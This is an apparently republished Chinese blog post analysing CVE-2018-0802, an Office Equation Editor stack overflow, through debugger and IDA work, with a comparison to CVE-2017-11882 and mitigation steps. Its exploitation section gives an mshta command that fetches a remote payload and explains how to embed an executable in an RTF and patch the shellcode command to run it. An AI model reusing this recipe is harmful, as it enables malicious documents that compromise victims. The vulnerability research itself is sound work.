天天看点

c++堆栈溢出怎么解决_Office 远程溢出漏洞测试与分析

本文作者:ghostkeeper(信安之路首次投稿作者)

获得奖励:加入信安之路核心群+免费邀请加入信安之路知识星球+免费获取 90sec 论坛邀请码

在 2017 年 11 月,微软发布的 11 月更新布丁中,微软将隐藏许久的 office 远程代码执行漏洞 (CVE-2017-11882)给修复了,由于该漏洞为一个标准的的栈溢出漏洞,原理与复现都较为简单,且影响从 Office 2000-Office 2016 几乎所有的户 Office 版本,所以吸引了当时很多人的关注。不过,虽然微软发布了该漏洞的修复补丁,但却是以二进制补丁的形式发布的,并没有以源码的形式重新进行编译, 因而并没有从源码的层面上彻底排除该漏洞, 且修复后也没有开启 DEP,仅仅增加了 ASLR,这就为我们对该类漏洞的二次开发利用提供了可能,而 CVE-2018-0802 也就是在该背景下被人发现的

0x01.调试环境及准备工作

c++堆栈溢出怎么解决_Office 远程溢出漏洞测试与分析

注:要分析该漏洞,必须在已经打过 CVE-2017-11882 微软补丁(补丁号 kb4011604) 的 Word 软件中进行(具体原因后面会说),而微软官方补丁更新中最低支持 Office 2007 sp3,所以正确的顺序为先安装 Office 2007,再安装 Office 2007 sp3 升级包,最后安装 kb4011604 更新补丁

安装好环境后,双击打开从网上获取的 POC 文件,地址:

https://github.com/GeekOnlineCode/POC/tree/master/CVE-2018-0802

如果能弹出计算器,那么环境安装成功,接下来就可以进行愉快的调试环节了

0x02.动态调试

在虚拟机里双击打开 POC 发现弹出计算器,我们首先想到的是该 POC 可能调用了 CreateProcess() 函数,所以打开 Word,用 OD 附加后给 CreateProcess() 函数下 API 断点,运行后再次打开 POC 发现计算器正常弹出,断点并没有断下

c++堆栈溢出怎么解决_Office 远程溢出漏洞测试与分析

说明该 POC 并不是针对 Word 程序的,那究竟是谁调用了计算器呢?这里我们可以使用 Process Monitor 这个工具,打开 Process Monitor,双击 POC 后,打开 Process Monitor 的进程树,可以发现是 EQNEDT32.EXE 这个程序调用了 cmd 弹出了计算器

c++堆栈溢出怎么解决_Office 远程溢出漏洞测试与分析

在这里我们可以发现,Word 的公式编辑器是作为一个独立的 .exe 文件存在的,并不是 .dll 之类的动态链接库,所以直接对 Word 下断点是没有用的。同时,也可以在上图的进程树窗口里找到 Word 的公式编辑器的文件路径(C:\Program Files\Common Files\microsoft shared\EQUATION\EQNEDT32.EXE),把它复制一份出来,双击启动后再用 OD 附加并设置 API 断点,运行后再打开 POC 文件,发现程序成功地断在 CreateProcess() 处,不过观察堆栈窗口后可以发现,调用并不是来自 EQNEDT32.EXE,而是来自 Kernel32.dll

c++堆栈溢出怎么解决_Office 远程溢出漏洞测试与分析

也就是说,漏洞触发后,并没有直接调用 CreateProcess() 这个函数,因此,打开 OD 的堆栈调用窗口,可以发现,漏洞触发后,应该是直接调用的 Winexec() 这个函数

c++堆栈溢出怎么解决_Office 远程溢出漏洞测试与分析

给 Winexec() 这个函数下断点后,关闭 Word,重新打开公式编辑器并用 OD 进行附加,然后打开 POC,发现程序断在了 Winexec() 处。不过,我们发现,随着每次对公式编辑器重新进行附加调试,调用 Winexec() 函数的调用地址在不断变化,并不固定,为了方便后续对函数的分析与定位,我们可以暂时关掉该公式编辑器的 ASLR,等到分析完毕再重新把它打开,关闭方法是找到 PE 文件的 PE 头中扩展头的 DLL 属性并将其前一个字节清零即可,即把 IMAGE_NT_HEADERS->IMAGE_OPTIONAL_HEADER->DllCharacteristics 字段的前一个字节清零,利用 010 Edit 的模板功能,可以很方便地完成

c++堆栈溢出怎么解决_Office 远程溢出漏洞测试与分析

关闭 ASLR 之后,调用地址终于不再变化。接下来我们看 Winexec() 函数调用处附近的堆栈,熟悉 Windows 函数栈帧与调用约定以及有过栈溢出漏洞分析经验的童鞋可能知道,在 Windows 中,栈的生长方向是由高地址向低地址处生长,也就是说,先被调用的函数其栈帧在堆栈区的高地址处,而后被调用的函数其栈帧在堆栈区的低地址,而当一个函数内的局部变量缓冲区发生溢出时,则是由低地址向高地址处淹没的,也就是说,当发生栈溢出时,只有可能把本函数或者调用本函数的上层函数返回地址给淹没,而本函数调用的函数(其中可能就包括了发生溢出的函数)以及它们内部继续调用的下层函数其栈帧应该是是没有被破坏的

c++堆栈溢出怎么解决_Office 远程溢出漏洞测试与分析

因此,我们可以在 Winexec() 函数被调用处的堆栈区域向上搜索那些堆栈区域没有被破坏的函数调用,并通过它们的返回地址找到调用它们的函数的地址并给它下断点,然后重新用 OD 附加公式编辑器并打开 POC 进行调试,调试时注意观察堆栈区域变化,当被断下的函数执行到某一个函数或是字符串赋值指令时,堆栈区域出现明显的变化且有函数返回地址被破坏时,该函数或是汇编指令即为我们需要找的溢出函数,被破坏的返回地址即为溢出点。顺着这个思路,我们可以在堆栈区 12f100 处向上搜索那些返回地址来自 EQNEDT32.EXE 的函数栈帧,并找到调用它们的函数然后下断点

c++堆栈溢出怎么解决_Office 远程溢出漏洞测试与分析

不过,经过一系列的尝试后,我们发现,12f100 向上的堆栈区域,似乎并没有能够改写一片连续的缓冲区并将某函数返回地址破坏的函数出现,这该怎么办?难道我们之前的分析有问题么?碰到这种情况,我们要积极地转换思路,同时对 OD 的代码窗口,数据窗口,堆栈窗口以及寄存器窗口多留意观察,不要在一棵树上吊死。如果细心观察 OD 的堆栈窗口和寄存器窗口,我们可以发现,call Winexec() 这条汇编指令的地址是 430c12,而此时 eax 里存放的值刚好也是 430c12

c++堆栈溢出怎么解决_Office 远程溢出漏洞测试与分析

于是我们可以大胆猜测,应该是一个 jmp eax 或者是一个 call eax 的汇编指令让程序的 eip 转到了 430c12 处,在没有开启 DEP 的情况下,这条汇编指令,最有可能出现在程序的堆栈区域,所以我们可以在堆栈区里搜索这 2 条指令,不过在 OD 里我们是无法在堆栈窗口直接搜索汇编指令,所以需要搜索这两条指令的机器码 FF E0(jmp eax) 和 FF D0(call eax),经过搜索,只有 12f379 处出现了 jmp eax,在代码窗口跟随该地址,并观察附近的汇编指令,我们还可以发现,函数的第一个参数保存在了 ebx 中,而此时 ebx 保存的也刚好是弹出计算器的 cmd 命令,由此,我们基本可以确定,12f379 附近应该就是我们需要找的 Shellcode

c++堆栈溢出怎么解决_Office 远程溢出漏洞测试与分析

在 12f379 处下硬件访问断点和硬件写入断点,然后结束进程再用 OD 重新进行附加调试,发现程序依然断在了 430c12 处,这是因为被附加调试的程序在第一次只会被软件断点所断下,而这之后再遇到硬件断点或者内存断点的话才有可能被断下,因此,我们需要在该硬件断点被触发前先设置一个软件断点,结合前面所说的 Windows 中堆栈的生长方向,我们在 OD 的堆栈窗口中顺着 12f379 的地址向下寻找,可以找到一个返回地址来自 ole32.dll 的函数调用,给该函数返回地址下断点,然后再次用 OD 进行附加调试

c++堆栈溢出怎么解决_Office 远程溢出漏洞测试与分析

当程序成功断下后,我们可以暂时先关闭该软件断点,然后按 F9 正常运行,之前设置的硬件断点便可以正常断下了。第一处断下的地址,经分析并没有什么特别的地方,接着再 F9 继续运行,也没什么特别的地方,直到第三次被断下,发现是一个串赋值指令,源字符串地址就是我们设置硬件断点地址后的的 12f37c,而目的字符串地址则停在了 12f29c,同时观察 12f379 与 12f299 处内存数据,也可以发现有 jmp eax 的机器码出现,熟悉汇编语言的童鞋,马上就会想到此处汇编指令对应的 C 代码应该是一个 strcpy() 的字符串拷贝函数,而 12f29c 附近应该就是被淹没的缓冲区,不过,观察后可以发现,该函数的栈帧栈底为 12f208,而被淹没的缓冲区则在 12f29c 附近,所以猜测被溢出的缓冲区应该不属于该函数,而是调用该函数的上一层函数

c++堆栈溢出怎么解决_Office 远程溢出漏洞测试与分析

接下来找到该函数起始地址 421e39 并设置断点,然后一路单步下去,在这个函数执行结束返回上一层函数的栈帧空间时,我们可以发现调用 421e39 函数的这个函数,它的栈帧栈底为 12f300,距离之前被淹没的缓冲区非常接近,对 OD 堆栈窗口进行观察可以发现该函数栈帧空间其 ebp 以及 ebp 向上的空间部分都出现了大量 0x20202020 数据,而不考虑开启了 ASLR,一个正常运行的程序它的函数的栈底是不会有 20202020 这个地址出现的,所以这个函数的堆栈空间遭到了破坏,之前被淹没的缓冲区,覆盖的应该就是它的返回地址

c++堆栈溢出怎么解决_Office 远程溢出漏洞测试与分析

至此,该漏洞的溢出函数以及溢出点已经被我们所找到,接下来就是验证我们的猜想。找到溢出点所在函数的起始地址 421774 并设置好断点,然后结束进程并重新用 OD 进行附加调试,程序成功地断在了 421774 函数这里,注意观察这里的堆栈空间,是从 12f228 到 12f300

c++堆栈溢出怎么解决_Office 远程溢出漏洞测试与分析

然后一路快速步过,直至运行到 421e39 函数这里,单步步入,这里首先求出了存放在 esi 寄存器中源字符串的长度为 0x96

c++堆栈溢出怎么解决_Office 远程溢出漏洞测试与分析

接着将源字符串中前 0x94 字节赋值给 421774 函数开辟的缓冲区里,这里我们发现,该缓冲区起始地址为 12f270,赋值 0x94 个字节后刚好赋值到了 12f303 这个地址,而之前我们提到过,12f300 到 12f303 这四个字节刚好存放的是 421774 函数的栈底

c++堆栈溢出怎么解决_Office 远程溢出漏洞测试与分析

然后,又将源字符串的最后两个字节继续赋值给缓冲区,由于之前赋值操作已经覆盖到了 421774 函数的栈底,所以接下来的两个字节理所当然的覆盖到了 421774 函数返回上一层函数调用的返回地址,不过由于只有两个字节,所以实际是覆盖了返回地址的低两字节

c++堆栈溢出怎么解决_Office 远程溢出漏洞测试与分析

接下来就是正常一路单步过去,直到 421e39 函数执行完返回 421774 函数的调用处,继续一路单步,可以发现在 421774 函数内部还有一处递归调用,调用 421774 函数自己,不过一路跟过去后发现并没有什么大问题,递归调用后的 421774 函数在调用 421e39 函数时仅仅只是普通的给字体名称赋值,同时在发生过一次递归之后也不会发生第二次递归,最后执行完后再次返回第一次调用 421774 函数的地方,一路快速单步步过,来到函数的 ret 指令处,通过上面的分析,我们已经知道此时的函数返回地址已经被修改

c++堆栈溢出怎么解决_Office 远程溢出漏洞测试与分析

继续单步,发现又来到了一处ret指令,继续跳转,发现刚好跳转到了我们给 421774 函数的缓冲区赋值的源字符串的起始地址 12f350

c++堆栈溢出怎么解决_Office 远程溢出漏洞测试与分析

等到跳回这里,就是我们 Shellcode 执行的起始地址了,这里的 Shellcode 也不复杂,主要就是根据 PEB 获得镜像加载基址,并根据固定偏移获得 call Winexec() 汇编代码的地址,利用 call pop 等指令获得当前栈空间地址,并利用固定偏移找到 Shellcode 中弹出计算器 cmd 命令的字符串地址,最后传参调用函数,弹出计算器。具体分析如下

c++堆栈溢出怎么解决_Office 远程溢出漏洞测试与分析

通过以上分析,我们发现,该 Shellcode 在执行时,有将栈帧故意抬高 0x200 字节的行为,这也就是我们在一开始分析该漏洞时,无法根据堆栈分布特点,准确定位到溢出函数与溢出点的原因。同时,由于原程序开启了 ASLR,所以在覆盖返回地址时,仅仅覆盖了低两字节的相对于基址的偏移量,而高两字节的加载基址,对于已经运行起来的程序来说,任何函数的加载基址都是一样的,所以我们直接"借用"即可。而在 Shellcode 中的 call pop 指令组合获取当前堆栈地址以及利用 PEB 获取镜像的加载基址等操作,也避免了开启 ASLR 所带来的影响

至此,该漏洞的动态调试结束

0x03.静态分析

在对该漏洞动态调试完成后,为了进一步了解漏洞的成因,我们还可以用 IDA 对其进一步的静态分析。用 IDA 打开 EQNEDT32.EXE 文件,由于之前我们在用 OD 进行动态调试的时候,已经把该程序的 ASLR 关闭了,所以程序运行时使用的加载基址则是默认加载基址,这与 IDA 中显示的地址是一致的。我们直接来到发生溢出的函数 421e39 这里,可以很明显的看到,在进行字符串赋值操作的时候,并没有对长度进行检查,这也是造成这个漏洞主要原因

c++堆栈溢出怎么解决_Office 远程溢出漏洞测试与分析

来到 421774 函数这里,我们可以看到该函数调用 421e39 函数的地方,同时,观察后也可以发现,在 421774 函数内开辟被淹没的缓冲区,原本长度可能只有 0x3c 个字节,被赋值时,是从第 28 位,也就是 0x1c 开始覆盖的,所以实际被覆盖的合法区域长度只有 0x20 个字节,而在被覆盖了 0x94 个字节之后,0xac-0x1c-0x94=-0x04,也就是 ebp+3 的位置,刚好覆盖掉 ebp,之后 2 个字节接着覆盖掉返回地址低 2 字节,这也与我们之前的分析一致

c++堆栈溢出怎么解决_Office 远程溢出漏洞测试与分析

结合在网上的其它资料,我们可以知道该漏洞是因为 EQNEDT32.EXE 中的“Equation Native”流中出现了问题,大致了解一下它的结构,整个”EquationNative”数据由头结构和后续数据组成。其头结构为:

struct EQNOLEFILEHDR {    WORD    cbHdr;    // EQNOLEFILEHDR长度,恒为0x1c    DWORD   version;  // 恒为0x20000    WORD    cf;       // 剪切板格式("MathType EF")    DWORD   cbObject; // MTEF数据长度,不包括EQNOLEFILEHDR部分    DWROD   reserved1;// 未公开    DWORD   reserved2;// 未公开    DWORD   reserved3;// 未公开    DWORD   reserved4;// 未公开};
           

而紧接着头结构内容的是 MTEFData 内容,MTEFData 内容也由 MTEF 头和 MTEF 字节流数据组成,MTEF 头内容:

struct MTEF_HEADER {    BYTE bMtefVersion;       // MTEF版本号,一般为0x03    BYTE bPlatform;          // 系统生成平台,0x00为Mac生成,0x01为Windows生成    BYTE bProduct;           // 软件生成平台,0x00为MathType生成,0x01为公式编辑器生成    BYTE bProductVersion;    // 产品主版本号    BYTE bProductSebVersion; // 产品副版本号};
           

MTEF 字节流数据包括一系列的记录,每一个记录以一个标签位开始,标签位的低4位描述该记录的类型,高四位描述该记录的属性,后续紧跟标签的内容数据,本次漏洞则主要发生在字体标签部分,因而主要对字体标签进行了解:

struct stuFontRecord {    BYTE    bTag;        // 字体文件的tag位0x08    BYTE    bTypeFace;   // 字体风格    BYTE    bStyle;      // 字体样式    BYTE    bFontName[n] // 字体名称,以NULL为结束符};
           

其中的 bFontName[n],即字体名称,在赋值时对它的判断是以 NULL 为结束标记的,而没有对长度进行效验,所以造成此次漏洞

关于 MTEF 的其它详细介绍,有兴趣童鞋可以参考:

http://rtf2latex2e.sourceforge.net/docs.html

此处不再过多介绍

至此,该漏洞的静态分析结束

0x04 与 CVE-2017-11882 比较

由于该漏洞是在 CVE-2017-11882 打完补丁后被发现了,作为它的"难兄难弟",我们自然关心它与 CVE-2017-11882 有什么联系。我们首先将此时的虚拟机快照保存,接着退回到 Office 2007 安装前的状态重新安装 Office 2007,安装完后,不要打任何补丁,直接来到之前提取公式编辑器的文件路径重新复制一份并重命名为 EQNEDT32_OLD.EXE,然后再回到之前的快照当中用 IDA 插件 BinDiff 进行比较,关于 BinDiff 的安装与用法,可以参考

https://www.cnblogs.com/lsdb/p/10543411.html

在此不再过多叙述

c++堆栈溢出怎么解决_Office 远程溢出漏洞测试与分析

通过对比,我们发现,打完补丁前后共有 5 个函数发生了改变,如果之前有分析过 CVE-2017-11882 那个漏洞的童鞋可能知道,触发那个漏洞的溢出函数与被淹没的缓冲区都在 401160F 函数里,这里我们关注这个函数

c++堆栈溢出怎么解决_Office 远程溢出漏洞测试与分析

用 BinDiff 打开观察后发现,与补丁前相比,补丁后多了 8 个基本块,除此外也有部分基本块内的指令与原先不一样。这里我们来到对函数缓冲区进行赋值的地方,也就是函数开始处

c++堆栈溢出怎么解决_Office 远程溢出漏洞测试与分析

可以发现,打完补丁后,在函数起始的地方多出了两个基本快,主要作用是在进行字符串赋值前,首先求一下该字符串长度并存在 ecx 中,如果大于等于 0x21,则会将 ecx 即字符串赋值长度固定为 0x20,随后再进行赋值操作,在 IDA 中能更明显地看出来

补丁前的 41160f 函数:

c++堆栈溢出怎么解决_Office 远程溢出漏洞测试与分析

补丁后的 41160f 函数:

c++堆栈溢出怎么解决_Office 远程溢出漏洞测试与分析

到这里,可能有的童鞋会想,打完 kb4011604 补丁后,CVE-2017-11882 无法被触发,而 CVE-2018-0802 可以,那如果我们在未打补丁的情况下运行 CVE-2018-0802 POC 也能成功弹出计算器的话,那这个 POC 岂不是可以"无视"微软的这个更新补丁显得很"通用"?我一开始也是这么想的,不过当我们在未打补丁的情况下运行 CVE-2018-0802 的 POC 时,它并没有成功,这又是为什么呢?为了找到原因,我们还是先用 OD 附加上公式编辑器并在 421774 和 421e39 这两个函数下断点,由于补丁前并没有开启 ASLR,所以直接搜索地址即可,然后打开 POC 文件,发现程序成功在 421774 函数这里断下,接着一路单步过去直至来到 421e39 函数这里,单步进去,然后继续一路单步过去

c++堆栈溢出怎么解决_Office 远程溢出漏洞测试与分析

可以发现这里缓冲区依然可以被成功淹没过去,接着继续一路单步下去,走完 421e39 函数,没有问题,回到 421774 函数这里,继续一路单步步过,直至步过 4115a7 函数时,程序发生了异常

c++堆栈溢出怎么解决_Office 远程溢出漏洞测试与分析

非法读取 2f204558 这个地址上的数据,接下来,我们给 4115a7 函数下断点,重新附加调试,进入 4115a7 函数内,一路单步过去,发现是函数内调用 41160f 函数这里发生了异常,给 41160f 函数下断点,继续重新附加调试,然后在 41160f 函数内一路单步过去,直到在第一次调用 44c430 函数时触发异常,然后继续重新附加调试并在 44c430 函数内一路单步下去,最终,函数在执行到 MOV DL,BYTE PTR DS:[ECX] 这条指令时触发了异常

c++堆栈溢出怎么解决_Office 远程溢出漏洞测试与分析

此时的 ecx 值已经为 2f204558,向上回溯,发现 ecx 的值来自 [esp+0x8],重新附加调试来到 44c430 这里,发现此时 [esp+0x8] 的数据也还是 2f204558,继续向上回溯

c++堆栈溢出怎么解决_Office 远程溢出漏洞测试与分析

观察可以发现 [esp+0x8] 的值来自于调用 44c430 函数的函数,即 41160f 函数的第一个参数,我们再继续重新进行附加调试来到 41160f 函数入口这里

c++堆栈溢出怎么解决_Office 远程溢出漏洞测试与分析

可以发现,此时 41160f 函数的第一个参数是 12f350,并不是 2f204558,不过对于正常的函数调用来说,一个函数它的参数是不可能发生变化的,除非...我们一路单步运行下去,直至执行完 

REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]

 这条指令

c++堆栈溢出怎么解决_Office 远程溢出漏洞测试与分析

可以发现,执行完这条指令后,此时的函数参数已经变成了 2f206578,继续单步下去

c++堆栈溢出怎么解决_Office 远程溢出漏洞测试与分析

等到执行完 451de0 这个函数后,函数的参数最终变成了 2f204558。此时细心的童鞋应该已经发现,这个 41160f 函数其实就是补丁前造成 CVE-2017-11882 的"罪魁祸首",而这两个漏洞用来溢出缓冲区的源字符串的都出自同一个地址 12f350,即上文分析时所提到的 MTEF 字节流数据 中 字体标签 结构体的 字体名称 成员变量  

bFontName[n]

c++堆栈溢出怎么解决_Office 远程溢出漏洞测试与分析
c++堆栈溢出怎么解决_Office 远程溢出漏洞测试与分析

在 IDA 中,我们可以更加清楚地观察到这一过程,分析可知在 41160f 函数中,若用来淹没缓冲区的源字符串长度超过 0x30 时,41160f 函数参数 a1 便会被破坏,而这之后当 44c430 函数,即 strstr() 函数被调用时再将 a1 作为参数传入函数后就极易发生非法内存访问异常。而对于 CVE-2018-0802 POC 来说,用来覆盖缓冲区的源字符串的长度足足有 0x96 个字节,早就超过了 0x30,所以函数也就无法继续执行下去。而 41160f 函数是被 4115a7 函数所调用,而 4115a7 函数又是被 421774 函数所调用,所以在 421774 函数执行到 ret 指令前,函数就已经发生了异常,用来弹出计算器的 Shellcode 自然也就没有机会被执行。而在补丁过后,41160f 函数中的缓冲区已经收到了保护,不可能再发生溢出的情况,但与此同时它的参数 a1 也受到了保护,不再有可能被破坏,也就是说像上述分析那样 41160f 函数在调用 strstr() 函数时发生非法内存访问异常的情况,在补丁过后是不可能出现的,41160f 函数将会被顺利执行完,而这也就为 CVE-2018-0802 漏洞的出现创造了前提条件。

其实换个角度想想,虽然在补丁前 41160f 函数在对缓冲区进行赋值时未能加以限制,但由于之后其子函数被调用时,它的参数也会被作为其子函数的参数而一并传入进去,所以为了防止类似上述情况的"意外状况"发生,对缓冲区的溢出应"点到为止",即只能覆盖掉函数的返回地址而不能破坏它的传参,这也就严格"限制"了用来淹没缓冲区的源字符串长度最多只能是 0x30,而对于一个需要 0x96 字节长度字符串来淹没缓冲区的 CVE-2018-0802 来说,这是不可能的。所以某种角度来说,正是由于补丁前对 41160f 函数缓冲区没有进行保护,间接"保护"了 421774 函数的缓冲区不可能被溢出破坏 :)

0x05.漏洞利用

通过上述的调试与分析,相信大家已经对 CVE-2018-0802 的形成原因与触发原理有了一定基本的认识,接下来就是如何进行利用的问题了。通过在网上查阅相关的技术资料以及之前被曝光过部分APT组织所使用的攻击样本,主要的利用方式有以下两种。

第一,将原 POC 文件中的 "cmd.exe /c calc.exe" 替换为 "mshta http://abc.com/test.txt",这里的 .txt 文件名及其下载地址部分都是可以随意改动的,我们只需要把我们要执行的 payload 部分写入 test.txt 文件然后上传服务器即可。mshta.exe 英文全称 Microsoft HTML Application, 主要是微软设计用来执行 .hta 文件的。上述命令执行后,会创建一个 mshta.exe 进程,然后从 http://abc.com/test.txt 下载指定的文件至 IE 本地缓存地址然后去执行。由于这种利用方式要事先准备好一个服务器,比较麻烦,所以我们这里采用第二种更简单的方式。

第二种方式则是将原 POC 文件中的 "cmd.exe /c calc.exe" 替换为 "cmd /c %temp%/test.exe",然后将我们要执行的 payload 部分编译成 test.exe 文件并以 package 对象的形式嵌入到 .rtf 文件中。package 对象,即包装对象,是一种在某个文档中插入程序包而创建的对象,主要功能为将 PE 文件释放到系统的临时目录文件夹中,对于 rtf 文件格式的文档而言, 如果用户打开该文档,则 WORD 进程会将对象提取到用户的临时目录中, 单击文档内的对象, 则会使用默认处理程序启动它们,在文档关闭后,WORD 进程会将用户的临时目录中提取的对象进行删除。而在文档打开的时间段内,这些被释放对象可被系统上的其他任何进程所调用。和公式编辑器对象一样,package 对象也属于 OLE 对象。OLE 即 Object Linking and Embedding,对象连接与嵌入技术,它一般是用来解决建立复合文档的问题,在 Office 软件的应用中一般用来满足某用户在一个文档中加入不同格式数据的需要(如文本、图像、声音等)。关于 .rtf 文件,OLE 与 package 这三者的其他介绍,感兴趣的童鞋可以在网上参考其他资料,此处便不再过多叙述。这样,当我们双击打开我们准备好的 exp 时,该 exp 会首先将里面 package 对象释放到系统临时目录文件夹下,然后在漏洞触发后再由上述命令去执行。

下面是构造 exp 具体步骤,我们首先用 vs2015 把我们要执行的 payload 编译成一个 .exe 文件,这里我们所演示 payload 功能主要为弹窗:

include  int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPreInstance, LPSTR cmdLine, INT nShow){    MessageBoxA(0, "You're Hacked", "Warning", 0);         return 0;  }
           

接着,我们将我们的 POC 文件复制一份出来,双击打开,再依次点击"插入"、"对象"、"package"、"确定"按钮,然后把我们准备好的 test.exe 文件以 package 对象的形式插入进去

c++堆栈溢出怎么解决_Office 远程溢出漏洞测试与分析

插入成功后,我们用 010 Edit 打开它,直接搜索 "calc.exe",发现文件中并没有这样的字符串,猜测可能是以 ASCII 码的形式进行了保存,故再次搜索 "63616c63",发现成功搜索到了一处

c++堆栈溢出怎么解决_Office 远程溢出漏洞测试与分析

接着,我们把我们需要修改的命令 "%temp%/test.exe" 先转化成 16 进制 ASCII 码,即 "2574656d70252f746573742e657865",再用它覆盖掉从 "63616c63" 开始的一段与其自身长度相等的一串 16 进制数据,覆盖时注意不能破坏原来文件的大小,不然可能会导致 Shellcode 没有对齐被覆盖的返回地址而导致利用失败。修改完成后保存退出,双击我们修改后的文件,发现并不能像我们预期的那样弹窗,为了找到原因我们还是像之前分析时的那样对公式编辑器进行附加调试,但是奇怪的是,当我们对公式编辑器附加调试后,再打开文件时发现 OD 并没有断下,也就是说,原 POC 经修改后,公式编辑器对象已经被破坏。上述修改中对 cmd 指令的修改是一个字节一个字节改的,应该不会有什么问题,那问题很有可能出在插入 package 对象的过程中,用 010 Edit 同时打开原 POC 与修改过后的 POC,比较可以发现,相对于原 POC,修改过后的文件多了许多杂七杂八的数据结构

修改前POC文件

c++堆栈溢出怎么解决_Office 远程溢出漏洞测试与分析

修改后的POC文件

c++堆栈溢出怎么解决_Office 远程溢出漏洞测试与分析

可以发现,修改完之后,里面的内容已面目全非,这显然不是我们想要的结果,因此,我们对于package对象的插入,应该像之前修改cmd指令那样进行字节级操作,而不能直接依赖 Word 提供给我们的现成的按钮

c++堆栈溢出怎么解决_Office 远程溢出漏洞测试与分析

结合我们之前对 .rtf 文档以及 package 对象的了解,我们先用 010 Edit 打开修改过后的文件,搜索 "package" 字符串,搜索到之后,在它的前面不远处我们可以找到该对象的起始标志 "{\object"

c++堆栈溢出怎么解决_Office 远程溢出漏洞测试与分析

然后从它的起始标志开始一直到它的下一个标签起始标志前结束,把这段数据复制出来

c++堆栈溢出怎么解决_Office 远程溢出漏洞测试与分析

然后再复制一份 POC 文件出来,把先前拷贝出来的 package 对象粘贴在公式编辑器对象后面(当然前面也是可以的),接着像之前那样再修改一下 cmd 命令,然后保存并退出,再重新打开修改后的 POC 文件

c++堆栈溢出怎么解决_Office 远程溢出漏洞测试与分析

发现已经可以成功弹窗了,不过却提示文档已损坏,猜测可能是之前拷贝 package 对象时拷贝不完全所致,打开 010 Edit 仔细观察我们拷贝出来的 package 对象,可以发现之前我们拷贝出来的 package 对象,它左边的大括号有三个,但右边的大括号只有两个,也就是说,拷贝出来的 package 对象不完整,我们可以试着在该 package 对象结尾处再加一个右边大括号,然后保存并退出,接着再一次双击打开我们 exp,It Works

c++堆栈溢出怎么解决_Office 远程溢出漏洞测试与分析

到这里,我们根据该漏洞 POC 文件把它改造成一个 EXP 的任务已经完成

通过前面我们将 CVE-2018-0802 与 CVE-2017-11882 的比较可知,这两个漏洞的触发条件是互斥的,因此,我们其实可以还可以将 CVE-2017-11882 的 POC 中的公式编辑器对象提取出来插入到我们这个 exp 里,然后将执行 cmd 指令的地方也换成与我们 exp 相同的指令,这样,无论是否打过 kb4011604 补丁,我们都有机会执行相应的 payload,大大提高了该 exp 通用性。如果有对 rtf 文件格式以及 OLE、PACKAGE 对象比较熟悉的童鞋,还可以用 C++ 或 python 实现一个能一键生成 POC 或 EXP 的程序以及脚本,具体过程这里不再详细讨论

0x06.预防及缓解措施

在 CVE-2017-11882 漏洞被曝光后微软的更新补丁来看,微软并没有对该程序的源码重新进行编译,加上写这个软件的公司被微软收购后早已不再更新,推测该程序的源码可能已经遗失,因此微软将很难从源代码级别去排查这个程序是否还有其他漏洞,而在这之后对 CVE-2018-080 2更新的补丁中微软已经彻底放弃 EQEDT32.EXE 文件,从而彻底杜绝了利用该程序进行漏洞攻击的行为。对于没有打更新补丁的情况,也可以通过禁用公式编辑器 COM 控件的方式进行缓解,具体操作为同时按下 "Win+R" 键打开"运行"窗口,然后输入 "cmd" 打开 cmd 窗口并输入以下指令(其中 XX.X 为版本号):

reg add "HKLM\SOFTWARE\Microsoft\Office\XX.X\Common\COM Compatibility{0002CE02-0000- 0000-C000-000000000046}" /v "Compatibility Flags" /t REG_DWORD /d 0x400
reg add "HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\XX.X\Common\COM Compatibility{0002CE02-0000-0000-C000-000000000046}" /v "Compatibility Flags" /t REG_DWORD /d 0x400

同时,针对以上使用 mshta 指令与 package 对象进行攻击的方式,对于前一种我们可以通过修改 mshta.exe 的文件名来阻止命令的实现,具体操作为找到 C:\Windows\System32 目录下的 mshta.exe 文件,然后重命名为 mshta1.exe 即可,不过由于是在系统文件目录下进行的修改,如果直接重命名会出现如下错误

c++堆栈溢出怎么解决_Office 远程溢出漏洞测试与分析

因而我们还需要获取该文件的相关操作权限,右键单击属性,依次选择"安全"、"高级"

c++堆栈溢出怎么解决_Office 远程溢出漏洞测试与分析

然后依次点击"所有者"、"编辑"并将当前所有者改为 Administrators,

c++堆栈溢出怎么解决_Office 远程溢出漏洞测试与分析

然后再依次单击"权限"、"更改权限",

c++堆栈溢出怎么解决_Office 远程溢出漏洞测试与分析

选中 "Administrators" 账户,点击"编辑"

c++堆栈溢出怎么解决_Office 远程溢出漏洞测试与分析

将权限设为完全控制,之后一路点击"确定"与"应用"按钮返回,此时我们就可以更改 mshta.exe 的文件名了

c++堆栈溢出怎么解决_Office 远程溢出漏洞测试与分析

修改过后,我们发现 cmd 已经无法识别 mshta 命令了,只能使用我们自己自定义 mshta1 命令进行操作

c++堆栈溢出怎么解决_Office 远程溢出漏洞测试与分析

而对于后一种,我们也可以通过禁用 Package ActiveX 控件来阻止 rtf 文件在临时目录释放文件的问题,具体操作为同时按下 "Win+R" 键打开"运行"窗口,然后输入 "regedit" 打开注册表编辑器找到以下路径修改以下数值:

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\Common\COM Compatibility{F20DA720-C02F-11CE-927B-0800095AE340}]
"Compatibility Flags"=dword:00000400

0x07.结尾

最后,附上本次分析 udd、idb 文件,补丁前后的公式编辑器程序以及 POC 和一个能弹窗的 EXP 文件(请前往星球下载)

c++堆栈溢出怎么解决_Office 远程溢出漏洞测试与分析

继续阅读